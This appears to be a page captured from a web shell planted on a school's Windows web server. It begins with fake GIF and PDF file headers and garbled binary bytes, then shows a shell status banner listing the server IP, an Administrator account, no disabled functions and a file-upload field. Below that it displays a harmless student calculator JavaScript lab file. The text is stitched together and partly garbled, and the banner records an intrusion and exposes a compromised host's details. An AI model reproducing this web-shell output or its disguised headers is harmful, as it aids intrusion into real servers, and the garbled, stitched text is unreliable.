GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/Resources/Week/05/ |
Upload File : |
"use strict"; // replace_with_your_name - Lab 2 js file. let operationClicked = ''; // The operation that was clicked. let previousAreaClicked = ''; // The previous area that was clicked. let currentNumberEntered = ''; // The current number entered. let previousNumberEntered = '0'; // The previous number entered. let calculatorOn = false; // Remember if the calculator is on or off. function _Initialize() { turnCalculatorOnOff(false); } /** * Perform the calculator button function. * * @param {object} e - The area that was clicked on. * @return (false) Stops the area href from being opened. */ function areaClicked(e) { let btnClicked = e.title; console.log(`btnClicked = ${btnClicked}`); if (calculatorOn) { switch (btnClicked) { case '1': case '5': previousAreaClicked = btnClicked; addKeyToCurrentNumberEntered(btnClicked); setDisplay(currentNumberEntered); break; case '=': console.log(`previousNumberEntered = ${previousNumberEntered}`); console.log(`operationClicked = ${operationClicked}`); console.log(`currentNumberEntered = ${currentNumberEntered}`); break; case '+': operationClicked = btnClicked; previousNumberEntered = currentNumberEntered; currentNumberEntered = '0'; setDisplay(btnClicked); break; case 'on': if (calculatorOn) { turnCalculatorOnOff(false); // Turn off the calculator. } break; default: console.log(`${btnClicked} not programmed.`); } } else { if ( btnClicked === 'on' ) { turnCalculatorOnOff(true); // Turn on the calculator. } } return false; } // END areaClicked. function turnCalculatorOnOff(onOff) { calculatorOn = onOff; previousAreaClicked = ''; currentNumberEntered = '0'; previousNumberEntered = ''; if (calculatorOn) { document.getElementById('calculatorDisplay').style.backgroundColor = 'silver'; } else { document.getElementById('calculatorDisplay').style.backgroundColor = 'black'; } setDisplay(currentNumberEntered); } function addKeyToCurrentNumberEntered(numberClicked) { if (+currentNumberEntered) { currentNumberEntered += numberClicked; } else { currentNumberEntered = numberClicked; } } function setDisplay(displayValue) { document.getElementById('calculatorDisplay').innerText = displayValue; }